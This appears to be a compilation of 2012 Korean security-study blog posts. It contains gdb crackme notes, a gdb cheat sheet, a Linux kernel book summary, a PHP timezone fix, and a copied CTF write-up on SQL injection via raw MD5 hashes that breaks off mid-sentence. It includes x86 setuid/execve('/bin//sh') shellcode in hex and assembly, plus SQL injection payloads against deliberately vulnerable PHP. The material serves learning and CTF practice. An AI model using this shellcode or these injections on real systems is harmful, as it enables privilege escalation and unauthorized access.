0x8048610: "failed"
Breakpoint 1, 0x080484d2 in main ()
(gdb) ni
failed
0x080484d7 in main ()
(gdb)

(gdb)
===================================================================
reghat 과 다르게 puts로 이동한다?
기억상으론 printf 부분이여야 한다.
puts 분석은 맨 아래로..

===================================================================
(gdb) x/s 0x804a020
0x804a020 <stdin@@GLIBC_2.0>: " Tú·"
(gdb)


(gdb) x/s 0x8048617
0x8048617: "3"
(gdb)
(gdb) print 0x30
$3 = 48
(gdb)
(gdb)

========================================================================

0x080484f6 <main+82>: lea -0x30(%ebp),%eax //입력받은 값을 eax로 전달.
0x080484f9 <main+85>: mov %eax,0x4(%esp) //그값을 esp 두번째 인자로 저장.
0x080484fd <main+89>: movl $0x8048619,(%esp) //key 라는 값을 첫번째 인자로 전달
0x08048504 <main+96>: call 0x80483c0 <strstr@plt> //strstr 함수 호출
0x08048509 <main+101>: test %eax,%eax
0x0804850b <main+103>: jne 0x804851b <main+119> //같지 않다면 119로 이동.
0x0804850d <main+105>: movl $0x804861d,(%esp) //sucsess 를 첫번째 인자로전달
0x08048514 <main+112>: call 0x80483e0 <puts@plt> //puts 호출
0x08048519 <main+117>: jmp 0x8048527 <main+131> //131로 이동하여 에필로그수행
0x0804851b <main+119>: movl $0x8048610,(%esp) //failed 저장
0x08048522 <main+126>: call 0x80483e0 <puts@plt> //puts 호출
0x08048527 <main+131>: mov -0x8(%ebp),%edx

=======================================================================
(gdb) x/s 0x8048619
0x8048619: "key"

(gdb) x/s 0x804861d
0x804861d: "success"
(gdb)
(gdb) x/s 0x8048610
0x8048610: "failed"
(gdb)


(gdb)



==================================================================================
else 용어 정리

실행법.
시작과 중단
kill : 중단
run : 시작

Assembly 문법 변경
set disassembly-flavor [intel | att]

약어 : set di i
set di a

도움말 : help

[주요 명령어]
disass
break
clear delete (clear는 주소/심볼 delete 는 bp number 로 가능)
info break 브레이크 포인트 리스트 보기
continue : 실행 재개
Stepi:step instruction 함수를 만나면안으로 따라 들어감, 약어 : si
Nexti : next instruction 함수를 만나면 그냥 실행시킴 약어 : ni

info reg : cpu regster 출력. (올리디버거 효과)

[ break 심화 ]
rbreak ^foo 함수 전체 브레이크 포인트
hbreak [same] : hardware break point
tbreak [same] : temp break point
condition [break_number]i==100 조건 브레이크

데이터보기
print/F [대상] : 값 출력
x/CSF [대상] : 주소 + 값 출력
c(count)::1~xxx
s(size) : b(byte),h(half word), w(word), g(giant==8byte)
f(formet): c(char),s(string),x(hex),a(address),i(instruction),t(binary)
whatch [대상]
데이터값이 변경될 때마다 알려줌

데이터 변경하기

P [symbol] =값
set *[Address]=값
set $[Register]=값
실행 흐름 변경하기
Set $eip = xxx


Core파일 분석하기

gdb - c core : gdb 실행시 로딩
core-file ./ore : gdb 실행후 로딩
gdb ./xxx -c core : 심볼과 함께 로딩
bt: back tracing
stack frame
ulmit -c [size_kb]
코어파일 생성하도록 설정 변경

[기타 팁들 ]
실시간 명령 보기
display/10i $eip : 실시간 명령설정
undisplay : 설정 취소

바이너리내 심볼보기
info variables )모든 변수), info locals(지역변수), info functions(모든 함수)
사용자 명령정의
define abc(끝날땐 end)

gdb 설정파일
~/.gdbinit 파일 생성
Print 를 계산기로 활용가능
Print 10+20
print/c 0xbffffffd8 = 음수 측정

부모함수로 빠져나가기 up
Posted by k1rha
2012. 3. 21. 02:43
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

문제를 풀다보면 %2f 로 인하여 쉘코드가 먹히지 않는 경우가 있다.
이런경우엔 쉘코드를 다시 짜줘야하는데, 실력이 없는지라 %2f 가 되는 쉘코드를 짜지는 못하겠다..

위에 쉘코드도 펌.~  
Posted by k1rha
2012. 3. 21. 02:42

main:
xor %eax,%eax
movb $0x18,%al
int $0x80

movl %eax,%ebx
movl %ebx,%ecx
xor %eax,%eax
movb $0x46,%al
int $0x80

xor %edx,%edx
xor %eax,%eax
movb $0xb,%al
push %edx
push $0x68732f2f
push $0x6e69622f
movl %esp,%ebx
push %edx
push %ebx
movl %esp,%ecx
int $0x80

이놈의 쉘코드.. 짤때마다 짜증나게 오류가나네 --

미리 이렇게 올려놔야지...

Posted by k1rha
2012. 3. 21. 02:40
내멋대로 만든 요약판이다.
개인적으로 중요시 여긴것만 모아놓은 자료임..  

==========================================================================================
리눅스 커널 심층분석 2nd 를 요약하기 앞서 난 운영체제 수업이라고는 한번도 들어본적이 없다.
이런 내가 '이 책은 유명 해커가 쓴책이라 재밌다!" 라는 sjh21 말에 넘어가 버렸다.
어려운 커널책을 뒤로하고 이책의 장점은, 커널 프로그래밍보다는 커널이 어떤것 인가? 어떤 용어들이 쓰이는가에
중점을 두고 있었다.

그리고 sjh21 의 요약을 해보라는 말에 요약까지 해보는데, 덕분에 한번더 정독을 할수 있는 계기가 되었고, 도움이 된것같다. 

3번이나 읽으면서 얻어낸거라곤 용어와 커널이란 결국 동시다발적으로 일어나는 하드웨어, 유저 의 입출력을
충돌없이 잘 돌아가게 하는것이 80%라는 생각아래 글을 읽기전에 이걸 한번 언급하고싶었다.

by.k1rha
==============================================================================================




| 응용 프로그램 ||응용프로그램2||응용프로그램3|   <--USER INTERFACE
            | system call interface |
|커널 서브 시스템| |디바이스 드라이버|


일반적으로 인터렙트는 어떤 번호를 가지는데 커널은 이번호를 사용하여 특정 인터럽트 핸들러를 작용시킨다
그리고 그 인터렙트를 처리하고 응답한다.

ex)키보드 컼트롤러가 인터럽트를 발생시켜 시스템으로 하여금 키보드 버퍼에 처리해야할 데이터가 있음을 알린다.
-> 커널은 그 인터렙트 번호를 보고 알맞는 핸들러를 실행한다


리눅스 --> 모노라틱 커널 >> 주소 공간을 갖는 하나의 프로세스 형태 


리눅스와 유닉스의 차이점

리눅스 : 커널 모듈이 동적으로 로드 할수 있따.
SMP(대칭형 멀티프로세싱이 가능하다)
선점형 방식이다
스레드와 프로세스간의 차이가 없다.
리눅스 == GNU C라 인라인 함수들을 제공한다


유닉스 : 모노라틱하고 선점형방식도 아니다. 
자원을 공유하는 프로세스가 따로 존재한다.




태스크 : 프로세스의 다른이름으로 리눅스 커널에서는 프로세스를 종종 태스크라고 부르는 경우가많다.

스레드 (thread) : 프로세스 안에 있는 활동을 가진 객체이다.
저마다 고유한 가상 프로세서를 할당 받지만 가상 메모리는 공유한다.

-->하나의 메모리 주소 공간을 공유하기 때문에 동시 프로그래밍과 다중 프로세서 시스템의 경우 진정한 병렬 컴퓨팅을 가능케 한다.




fork() system call 은 부모프로세스와 자식프로세스에서 리턴되어 총 2번 커널로부터 리턴된다.

fork()->exec->clone->exit 
종료된 프로세스는 좀비 상태에 놓이게 되는데 이것은 종료 되었지만 아직 부모프로세스가 wait 혹은 waitpid를 호출하지 않는
프로세스를 표시하기 위해 사용된다. 

프로세스 서술자의 저장
시스템은 PID라는 값으로 프로세스 식별

프로세스 상태 
task_running: 프로세스 실행가능 
task_uninterretable : ghrdms block(중단) 상태 <<-- 프로세스가 signal을 받더라도 꺠어나지 못함

task_zomie : 태스크가 종료되었지만 아직 부모테스크가 시스템 콜을 호출하지 않은 상태

프로세스 상태조작은 set_task_state(task,state); 에서 한다.

프로세스 생성

'스폰'메커니즘에 의해 새 프로세스를 새 주소 공간에 할당하고, 실행 파일을 읽어들이고, 프로그램을 실행하는 작업들을 처리한다.

유닉스는 이작업을 fork() execl() 두개로 나누어 fork()는 태스크를 복제하여 자식프로세스를 생성하고, 자식은
부모프로세스 PID 와 PPID 상송되지 않은 자원에서만 차이가 난다.

COW(Copy on write):데이터의 복제를 지연 또는 방지하는 기법이다. 즉, 프로세스 주소 공간을 복제하는 대신 공간을 공유한다.


vfork() 시스템 콜은 부모 프로세스의 페이지 테이블 영역이 복제되지 않는다는 점을 제외하고는 fork() 와 동일하다.
대신 자식 프로세스는 부모의 주소 공간에서 마치 하나의 스레드인 것처럼 동작하고 부모는 자식이 exec() 를 호출하거나 종료될 때까지 대기한다.


부모없는 태스크의 딜레마?

부모없이 종료된 프로세스등은 언제까지고 좀비 상태로 남아 메모리를 소비한다.
해결책은 스레드 그룹의 다른 프로세스를 부모가 하던가 init 프로세스를 부모로 만드는 것이다.
부모를 바꿀경우 do_exit()에서 modify_parent()가 호출 될때 forget_original_parent()를 사용한다.



멀티태스킹 운영체제(협력형[cooperative], 멀티태스킹 선점형)을 대부분 사용한다.

실행중이 ㄴ프로세스가 비자발 적으로 중지되는것을 선점이라고하고 서점되기까지 프로세스가 실행되는 시간을 미리 정해지는데,
이것을 타임 슬라이스라고한다.
타임 슬라이스가 너무 길면 시스템의 인터랙티브한 성능을 떨어뜨려 더이상 응용 프로그램이 동시에 수행하는 것처럼 
느껴지지 않을 것이며 너무 짧으면 스위칭하는데 자원을 너무 소모 할 것이다. 

프로세스 우선수의 구현은 2가지로 나뉘는데 nice 값(-20 ~ 19 중 큰 nice 값은 낮은 우선순위) 과 실시간 우선순위 (0~99)가 있다.

schedule(): 다음 번 수행할 프로세스를 선택하고 그 프로세스에게 실행 권한을 넘기는 작업

effective_prio() 함수는 태스크의 동적 우선 순위를 리턴한다.

task의 sleep 과 wake 
sleep은 어떠한 이벤트를 기달리는데 크게 파일 I/O,  하드웨어 이벤트, 특정 시간, 세마포어 획득이 있따.

휴면은 대기큐(wake_queue_head_t)를 통해 처리된다.
DECLARE_WAIT_QUEUE_HEAD()를 통하여 정적으로 생산
init_wait_queue_head()를 통한 동적 생성이 있따.
race condition을 예방하기 위해서는 이러한 휴면과 깨어남을 구분 지어야 한다

로드 벨런서(load_balance()(call)) 실행큐의 균형을 맞추는 역할을 한다. 
과정 : load_balance()는 find_busiest_queue()를 호출하여 가장 바쁜 실행큐를 찾아낸다.
25% 이상의 프로세스를 갖는 프로세스 가 없는 경우 NULL 을 리턴 load_balance()는 종료된다
어느곳에서 빼올지를 결헌한뒤 가장 높은 우선 선위를 찾는다.
-> 다른 프로세스의 이동이 금지되지 않은 태스크를 찾는다 -> pull_task()로 바쁜 실행큐로부터
현재 실행큐로 프로세서를 이동한다.


선점과 컨텍스트 스위칭? 

컨테스트 스위칭(context switching)이란 하나의 실행 가능 태스크를 다른 태스크로 바꾸는 것을 말하며, kernel / sched.c 에 정의된 context_switch()함수에 의해 호출도ㅓㅣㄴ다.
1.asm/mmu_context.h 에 정의된 switch_mm()함수를 호출, 이전 프로세스의 가상 메모리 매핑을 새 프로세스의 것으로 대체한다.

asm/system.h에 정의된 switch_to() 함수를 호출 프로세서 상태를 이전 프로세서에서 현재프로세스로 전환한다.
이과정에는 스택 정보와 프로세서 레지스터를 저장하고 복원하는 등의 작업이 포함된다.

USER 선점:커널이 유저공간으로 돌아가기 직전에 일어나는 것으로 이경우 need_resched가 설정됐으므로 스케쥴러가 수행된다.

KERNEL 선점 : 리눅스 커널은 다른 대부분의 유닉스 변종이나 다른 많은 운영체제와는 달리 완벽한 선점형 커널이다. 비선점형 커널에서는 커널 코드가 종료 될때까지 실행한다.
즉 커널 안에 있는 경우 스케줄러가 다른 태스크를 다시 스케줄링하는 것이 불가능 하다.
커널 코드는 협력적(cooperative)으로 선점 되는것이지 선점되지는 않는다는 것이다.


SYSTEM CALL : 대게 함수 호출을 통해사용되며 하나 혹은 그이상의 인자를 받아들여 하나 이상의 사이드 이펙트를 가져 올 수 있다.

시스템 콜번호 : 유저 공간의 프로세스가 시스템콜을 실행할 경우 실행할 이름대신 번호를 사용한다

매게변수의 전달
대부분의 시스템콜은 번호와 함께 매게 변수가 필요하다 가장 쉬운 방법은 레지스터를 이용하는 방법이다
x86 에서는 ebx, ecx,edx,esi edi 레지스터가 순서대로 처음 5개의 매개 변수를 저장한다
시스템 콜을 동작을 위한 한계
시스템콜 테이블에 엔트리를 추가한다--> 지원되는 아키텍처에 대해 (entry.S) 시스템 콜번호를 <asm/unistd.h>에 정의한다-> 커널이미지를 컴파일한다.



인터럽트(interrupt)
하드웨어가 프로세서와 통신 할 수 있도록 해준다
-> 인터럽트 핸들러를 최대한 빨리 수행해야 하지만 한편으로는 많은 추가적인 일을 해야하는 2가지 목표

top half:인터렙터가 활성화되는 즉시 실행 타임크리티컬한 작업들
bottom half:나중에 해도 될 작업들은 밑으로 내려 놓는다.


인터럽트 핸들러등록은 irq(할당할 인터럽트 번호) 와 handler(해당 인터럽트를 제어할 핸들러포인터)로 이뤄진다.


SA_INTERRUPT:이 플래그는 해당 인터럽트 핸들러가 빠른 인터럽트 핸들러임을 가리킨다
SA_SAMPLE_RANDOM:이 플래그는 해당 디바이스에 의해 발생한 인터럽트가 커널 엔트로피 prook기영향을 끼친다.

인터럽트 핸들러 제거:void free_irq로 제거 



메모리를 공유하는 응용프로그램은 항상 동시적인 접근으로부터 공유된 자원을 보호해야한다
-> 다수의 실행중인 스레드가 동시에 데이터를 변경할 경우 다른 스레드가 변경한 부분을 또다른 스레드가 덮을수 있기 떄문이다.

동기화(synchronization) : race condition 상태를 예방하는것!

락킹(rocking):한번에 오직 하나의 스레드만이 해당 자료구조를 조작할 수 있다는 것을 확신할 방법, 혹은 특별한 구역에서 다른 스레드가 동작하고 있을때 해당 자료구조

==> 큐에 대한 사용 스레드는 반드시 lock을 얻어야한다.

lock은 경쟁이 발생하지 않는 원자적 작업들로 구현되어 있따.
해당 key가 점유되었는지 확인하고 그렇지 않은 경우엔 자기가 그 키를 점유하는 작업을 단 하나의 명령으로 수행 할 수 있다. 'o'은 락이 설정되어 있지 않음이다.

대칭형 멀티프로세싱 시스템을 사용한다면 두 프로세스는 정확히 같은 시간에 하나의 위험지역에 진입할 수 있다.--> 진정한 동시성

커널에서의 동시성 원리
*인터럽트
*soft tirp 와 태스크릿 -->커널은 현재 동작중인 코드를 중단하기 위해 거의 언제라도 softrirp나 태스크릿을 스캐줄 할수 있다.
데드락(dead lock):하나 이상의 스레드와 하나 이상의 자원이 있을때 발생하는 것으로 각 스레드가 어떤 자원을 얻으려 대기 하지만 이미 모든 자원의 락이 잡혀 있을때 발생
ex) 사거리에서 서로 눈치보며 서있는 차들과 같다



커널 동기화 방법중 원자적 동작(atomic poeration)이란 중단됨이 없이 한번에 실행되는 명령을 뜻한다.

원자적 정수연산:atomic_t를 사용하는 자료구조의 일부분이다.
atomic_t 의 크기는 24bit를 넘어서는 안된다 그 이유는 원자적 동작을 조금 이상한 방법으로 구현하고 있는 sparc 아키댁처 떄문이다 sparc는 락을 32비트 int의 하위 비트에 포함시켜 구현한다.

원자적 정수 연산은 보통 카운터(counter)를 구현 하기 위해 사용한다.
단순한 카운터를 복잡한 락을 사용하여 보호하는 것이 비효율적이므로
훨씬 가벼운 atomic_inc() 나 Atomic_dec()을 사용하여 구현하는 것이 보통이다. 

워드(혹은 이와 동일한 크기의 객체)에 대한 읽기는 언제나 원자적으로 발생한다.
읽기는 절대 동일 워드에 대한 쓰기 작업과 서로 끼어들지 않는다.
코드를 작성 할때는 가능하면 복잡한 락 대신 간단한 원자적 동작을 사용하는것이 좋다.
아키텍처에서 1개 또는 2개의 원자적 동작은 복잡한 하나의 동기화 방법보다 가벼울 뿐만 아니라 캐시 스레싱을 덜 발생시킨다.

원자적 비트연산
이함수 역시 아키텍처에 종속적이며 <asm/bitops.h>에 정의돼 있다.
이 함수들의 특징은 바로 일반 메모리 주소를 가지고 연산을 한다는 점이다.
0번 비트는 주어진 주소에서 가장 아래쪽(least signification)(비트를 의미하고 32비트기기의 32비트는 다음 워드의 가장 아래쪽 비트가 된다.



우리가 구조체를 갱신하기 전에 다른 누군가 같은 구조체를 읽으면 안된다는 것이다.
이를 위해 보다 복잡한 동기화 방법 즉, 락이 필요하게 된다.

락의 종류는 스핀락, 세마포머, 큰커널락(Big kernel lock) 이 있는데,

스핀락이리눅스 커널에서 가장 일반적으로 사용되는 락이다. 스핀락은 최대한 하나의 스레드에 의해 잠길수 있는 락을 말한다.
만약 어떤 스레드가 이미 잠겨진 스핀락을 다시 잠그려  시도한다면 그 스레드는 루프를 돌면서 락을 잠글 수 있을 때 까지 기다린다.<asm/spinlock.h>

세마포어 : 휴면하는 락이라 생각할 수 있다 어떤 태스크가 이미 잠겨진 세마포머를 잠그려 하는 경우 세마포어는 그 태스크를 대기큐로 삽입하고 해당 태스크를 휴면 상태로 만든다.

큰커널락(BKL)은 태스크가 휴면할 경우 자동으로 해제되고 다시 실행될경우 자동으로 잠긴다. 때문에 BKL은 재귀적인 락인것이다.
BKL을 잡고 있는 프로세스는 몇번이라도 BKL을 다시 잠글수 있다. 이 경우도 데드락에 빠지지는 않는다.




타이머와 시간관리
 
하드웨어에 고정되어 일정간격으로 체크를 해주는것을 커널은 틱이라고 한다. 하지만 이러한 틱 인터렙터가 없어도 되지 않을까? 라는 말이 있다면 그대답은 yes 이다.
하지만  그 설계가 깔끔치는 않을것이다. 대신에 커널은 대기중인 이벤트 각각에 대해 동적으로 프로그램된 타이머를 사용해야하는데, 상당한 타이머 부하를생각해야한다.
이런식으로 하면 주기적인 타이머 인터럽트가 필요없고 따라서 Hz 또한 굳이 존재핮 ㅣ않아도 될것이다.

지피? 란 전역 변수 jiffies는 시스템이 부팅된 이후 발생한 틱의 수를 저장하는 변수이다. 


실행지연 : 때로 커널 코드(특히 드라이버의 경우)는 타이머나 보톰하프 메커니즘을 사용하지 않고서도 실행을 일정 시간 동안 지연 할 수 있는 방법이 필요하다.
이것은 대개 주어진 작업을 하드웨어에서 처리하기 위한 시간을 보유하기 위해 필요하다.





메모리관리

커널 내부에서 메모리할당은 커널 외부에서의 할당처럼 쉽지많은 않다.
커널에서의 메모리 할당을 어렵게 하는 데에는 여러가지 요소가 존재한다. 우선 커널에는 유저 공간에서 제공되는 것과 같은 사치스러운 환경ㅇ ㅣ존재하지 않고 유저공간과는 달리 커널에서는 쉽게 메모리를 할당하기 위한 편리한 기능이 제공되지 않는다.
예를들면 대부분의 경우 커널은 휴면(sleep)을 할 수가 없다. 게다가 커널은 메모리 오류를 쉽게 처리하지 못한다.

페이지 : 커널은 물리적인 페이지를 메모리 관리의 기본 단위로한다.
프로세서의 가장 작은 주소 할당 단위는 보통 워드(word) 이지만 메모리 관리 유닛(MMU)는 일반적으로 페이지 단위로 동작한다.

커널은 시스템에 있는 모든 물리적 페이지를 struct page 구조체로 표현한다.이 구조체는 <linux/mm.h>에 정의돼 있다.

struct page{
page_flags_t flags;
atomic_t _count;
atomic_t _mapcount;
unsigned log private;
strct address_space *mapping;
pgoff_t index;
struct list_head lru;
void *virtual;

};


우선 flags 필드는 페이지 상태를 저장한다 여기에 저장되는 플래그에는 페이지가 변경되었는지 (dirty) 혹은 메모리가 잠겨졌는지(lock) emddmf skxksosms dufjrkwlrk dlTEk.
_count 필드는 페이지 사용 횟수 즉 해당 페이지에 대한 참조가 얼마나 되는지를 저장한다 이횟수가 0이면 누구도 이페이지를 사용하지 않은것이고, 이페이지를 다른 누군가에게 할당해 줄 수 있게 된다.
커널 코드에서는 이 필드를 직접 접근하는 대신 page_count()함수에 page 구조체를 넘겨주어 그 값을 얻으면 된다.
virtual 필드는 페이지의 가상 주소이다. 일반적으로 이 값은 단지 가상 메모리에서의 페이지의 주소를 나타낸다. 한편 상위메모리(high memory)라 불리는 메모리는 커널의 주소 공간으로 영구적으로 매핑되지 않는데, 이러한 메모리를 나타낼 경우 이 필드에 NULL을 사용한다.
그리고 이 경우 페이지는 필요할 떄마다 동적으로 매핑 돼야 한다.

여기서 핵심은 page 구조체가 가상 페이지가 아닌 물리적인 페이지와 연계되어 있다는 사실이다. 따라서 이 구조체가 기술하는 내용은 일시적일 수 밖에없다.
커널은 이 자료구조를 이용하여 시스템 상의 모든 페이지를 관리하며 따라서 이 자료구조를 통해 어떤 페이지가 사용 가능한지(free 한지)를 알수 있게된다.


페이지 얻기!!

커널에는 메모리를 요청하기 위한 하나의 저수준 (low-level)메커니즘과 이것을 사용하는 여러 가지 인터페이스가 제공되는데 이들은 모두 페이지를 기본 단위로 삼아 메모리를 할당하며 <linux/gfp.h>에 선언돼있따.

0으로 페이지가 초기화 되어있으면 페이지를 할당해줄수 있는데, unsigned log get_zeroed_page(unsigned int gfp_mask) 함수로 얻을 수 있따.
이 함수는 __get_free_page()와 동일한 역할을 하지만 페이지를 할당된 후 0으로 채운다는 점이 다르다.

페이지 해제하기
할당된 페이지를 해제하려면 다음과같은 함수를 쓴다
void __free_pages(struct page *page, unsigned int order)


Kmalloc()
kmalloc()함수는 유저 공간에서 많이 쓰이는 malloc()루틴과 비슷하지만 대신 추가적인 플래그를 매개변수로 가진다.
반대는 kfree 이다.
vmalloc()은 kmalloc()과 비슷하지만 가상적으로는 연속이지만 물리적으로는 꼭 연속이 아닐 수도 있는 메모리를 할당 한 다는 점이 다르다.


스택에 정적으로 할당하기? 

프로세스마다 할당되는 커널 스택의 크기는 아키텍처와 컴파일시 옵션에 따라 다르다. 전통적으로 커널 스택의 크기는 프로세스당 두페이지씩이다.
즉 32비트 아키텍처에서는 대개 8KB 64비트에는 16kb 인데 이들은 각각 4, 8kb 의 페이지를 갖기 떄문이다.


물리적인 메모리가 단편화될수록 새 프로세스를 할당하기 위해 VM이 들여야 하는 비용은 증가한다.


이중에 어떤 할당 방법을 사용하는지가 결정하는것은 보통 물리적으로 연속적인 페이지가 필요하면 저수준 페이지 할당자나 kmalloc()을 사용한다.
이것은 커널내에서 메모리를 할당하는 표준적인 방법이므로, 아마도 여러분은 거의 이 방법을 사용하게 될것이다.
이들 함수에 주어지는 두 개의 공통 플래그가 GFP_ATOMIC과 GFP_KERNEL 이라는 사실을 떠올린다.
높은 우선순위의 휴면하지 않는 할당을 위에서는 GFP_ATOMIC플래그를 사용한다.
상위 메모리에서 할당하고자 한다면 alloc_pages()를 사용한다. 이 함수는 논리적 주소가 아닌 struct page 구조체의 포인터를 리턴한다.
이 상위 메모리는 자동으로 매핑되지 않으므로 여기에 접근하는 유일한 방법은 struct page 구조체를 사용하는것이다.


프로세스 주소공간

프로세스 주소공간은 각프로세스에 제공되는 선형주소범위와(더욱 중요한) 이 주소 공간 안에서 프로세스가 사용할 수 있는 실제 공간으로 나누어진다. 각각의 프로세스는 32비트 또는 64비트의 평평한 주소공간을 갖게되는데 그 크기는 아키텍처에 따라 다르다.
보통 주소공간은 각프로세스에게 유일하게 할당된다 즉 어떤 프로세스가 가진 주소공간의 메모리 주소를 알고 있더라도ㅡ 다른 프로세스가 가진 주소 공간의 메모리 주소에 대해서는 아무것도 알아 낼 수 없다.

하지만 프로세스가 자신의 주소공간을 다른 메모리 프로세스와 공유할수 있는데 이를 스레드 라 한다.

메모리주소는 4021f000 과 같은 주소 공간 안의 어떤 값으로 주어진다.
이러한 값은 프로세스의 32비트 주소공간에서 어떤 특정한 바이트를 식별 할 수 있도록 도와준다.
 흥미로운것은 08048000-0804ㅊ000 과 같이 프로세스가 접근권한을 갖는 메모리 주소들간의 간격이다.
이러한 합법적인 주소 간격을 메모리 공간이라한다.


페이지 테이블

비록 으용프로그램이 물리적 주소에 매핑된 가상 메모리상에서 동작 하더라도 프로세스는 직접 물리적인 메모리에 대해 동작한다
그러므로 으용프로그램이 가상메모리 주소에 접근할 경우 프로세스가 해당 요청을 처리하기 위해서는 가상 주소를 물리주소로 변환 해야 한다. 이러한 변환 작업은 페이지테이블을 이용해 이뤄진다.


하드웨어 캐시 TLB(translation lookaside buffer) 페이지 테이블을 도와 준다 이는 가상 주소에 접근하는 경우 프로세서는 먼저 해당 매핑이 TLB에 캐시 돼 있는가를 검사한다.

페이지캐시
PAGE CACHE 는 일반적으로 파일 시스템의 파일이나 블록 디바이스 파일 메모리맵파일등부터 생성된다. 이러한 식으로 페이지캐시는 최근에 파일을 접하면서 얻은 파일 모두를 저장한다.
한데 이 페이지는 비연속적인 다수의 물리블록이기 떄문에 이 사이에서 데이터를 찾기란 쉽지 않다
이러한 범용성을 유지하기위해 리눅스의 페이지캐시는 캐시 안의 페이지를 구별하기위해 address_space구조체를 사용한다.

커널은 페이지I/O를 하기전에 항상 페이지 캐시에서 원하는 페이지가 있는가를 검사해야하므로(flags 값이겠지?)이러한 검사 동작은 빠르게 이뤄져야 한다.



쓰기동작은 페이지 캐시를 통해 지연된다
페이지 캐시에 속한 데이터가 저장공간의 것보다 더 최신것이되면 해당 데이터는 dirty 해졌다고한다.
메모리에 쌓인 dirty페이지들은 언젠가 디스크로 다시 쓰여야하는데 이러한 과정을 라이트백(write back)이라 한다.

write back을 위해 커널 2.4 이전버젼에는 각각 2개의 독립적인스레드에서 처리하였으나 2.6부터는 커널 스레드 갱(gang)인 pdfflush 백그라운드 라이트백 데몬, 혹은 pdflush 스레드들이 이러한 작업을 한다.



모듈?

로딩가능한 커널 오브젝트로 묶을수 있으며 이것을 모듈 이라고한다
모듈은 지원 함으로써 시스템은 커널에 기본적으로 필요한 최소 기능만넣고 나머지의 부가기능과 드라이버는 모듈로 제공할수 있게된다
일반적으로 모듈이 로드되면 커널 안으로 동적으로 링크된다. 유저공간에서와 마찬가지로 동적으로 링크된 바이너리들은 명시적으로 익스포트된 함수들만 호출할수 있다.

(그럼 RTL은?)



OOPS --> 함수로 메모리가 표기된다
ksymoops --> 역추적 경로 상의 주소는 기호적 이름으로 변해야 한다.

커널 디버깅 TIPS
UID를 조건으로사용한다. 기존 알고리즘을 두고 새알고리즘을 추가하여 실행한다

if(current->uid!=7777){
/*이전 알고리즘 */
}

else{
/*새알고리즘*/
}

1초에도 수천번씩 호출되는 함수를 막기위해 빈도제한(rate limiting) 을 건다.
이렇게하면 콘솔에 정보가 넘처나는것을 막을 수 있고 컴퓨터는 정상 유지된다.
 
Posted by k1rha
2012. 3. 21. 02:38

phpinfo() [function.phpinfo]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you

most likely misspelled the timezone identifier. We selected 'Asia/Seoul' for 'KST/9.0/no DST' instead

원인이 먼지 삽질하다 찾아내었다..

php5.3은 date.timezone을 설정하지 않으면 php warning 이 출력된다...

그래서 php.ini 화일에서 date.timezone =Asia/Seroul 로 설정해야 한다 

Posted by k1rha
2012. 3. 21. 02:37

SQL injection with raw MD5 hashes (Leet More CTF 2010 injection 300)

Team Kernel Sanders t-shirts

The University of Florida Student Infosec Team competed in the Leet More CTF 2010 yesterday. It was a 24-hour challenge-based event sort of like DEFCON quals. Ian and I made the team some ridiculous Team Kernel Sanders shirts at our hackerspace just before the competition started. The good colonel vs. Lenin: FIGHT!

Here’s a walkthrough/writeup of one of the challenges.

Injection 300: SQL injection with raw MD5 hashes

One challenge at yesterday’s CTF was a seemingly-impossible SQL injection worth 300 points. The point of the challenge was to submit a password to a PHP script that would be hashed with MD5 before being used in a query. At first glance, the challenge looked impossible. Here’s the code that was running on the game server:

<?php
require "inc/mysql.inc.php";
?>
<html>
<head><title>Oh, Those Admins!</title></head>
<body><center><h1>Oh, hi!</h1>
<?php
if (isset($_GET['password'])) {
$r = mysql_query("SELECT login FROM admins WHERE password = '" . md5($_GET['password'], true) . "'");
if (mysql_num_rows($r) < 1)
echo "Oh, you shall not pass with that password, Stranger!";
else {
$row = mysql_fetch_assoc($r);
$login = $row['login'];
echo "Oh dear, hello <b>$login</b>!<br/><br/>Oh, and here's the list of all Admins!<table border=1><tr><td>Oh, login!</td><td>Oh, password!</td></tr>";
$r = mysql_query("SELECT * FROM admins");
while ($row = mysql_fetch_assoc($r))
echo "<tr><td>{$row['login']}</td><td>{$row['password']}</td></tr>";
echo "</table>";
}
} else {
?>
<form>Oh, give me your password, Admin!<br/><br/><input type='text' name='password' /><input type='submit' value='&raquo;' /></form>
<?php
}
?>
<br/><br/><small>Oh, &copy; 2010 vos!</small></center></body>
</html>
view rawindex.phpThis Gist brought to you by GitHub.

The only injection point was the first mysql_query(). Without the complication of MD5, the vulnerable line of code would have looked like this:

$r = mysql_query("SELECT login FROM admins WHERE password = '" . $_GET['password'] . "'");

If the password foobar were submitted to the script, this SQL statement would be executed on the server:

SELECT login FROM admins WHERE password = 'foobar'

That would have been trivial to exploit. I could have submitted the password ' OR 1 = 1; -- instead:

SELECT login FROM admins WHERE password = '' OR 1 = 1; -- '

…which would have returned all the rows from the admins table and tricked the script into granting me access to the page.

However, this challenge was much more difficult than that. Since PHP’s md5()function was encrypting the password first, this was what was being sent to the server :

SELECT login FROM admins WHERE password = '[output of md5 function]'

So how could I possibly inject SQL when MD5 would destroy whatever I supplied?

1337 hax0rs

The trick: Raw MD5 hashes are dangerous in SQL

The trick in this challenge was that PHP’s md5() function can return its output in either hex or raw form. Here’s md5()’s method signature:

string md5( string $str [, bool $raw_output = false] )

If the second argument to MD5 is true, it will return ugly raw bits instead of a nice hex string. Raw MD5 hashes are dangerous in SQL statements because they can contain characters with special meaning to MySQL. The raw data could, for example, contain quotes (' or ") that would allow SQL injection.

I used this fact to create a raw MD5 hash that contained SQL injection code.

But it might take years to calculate

In order to spend the least possible time brute forcing MD5 hashes, I tried to think of the shortest possible SQL injection. I came up with one only 6 characters long:

'||1;#

I quickly wrote a C program to see how fast I could brute force MD5. My netbook could compute about 500,000 MD5 hashes per second using libssl’s MD5 functions. My quick (and possibly wrong) math told me every hash had a 1 in 28 trillion chance of containing my desired 6-character injection string.

So that would only take 2 years at 500,000 hashes per second.

Optimizing: Shortening the injection string

If I could shorten my injection string by even one character, I would reduce the number of hash calculations by a factor of 256. After thinking about the problem for a while and playing around a lot with MySQL, I was able to shorten my injection to only 5 characters:

'||'1

This would produce an SQL statement like this (assuming my injection happened to fall in about the middle of the MD5 hash and pretending xxxx is random data):

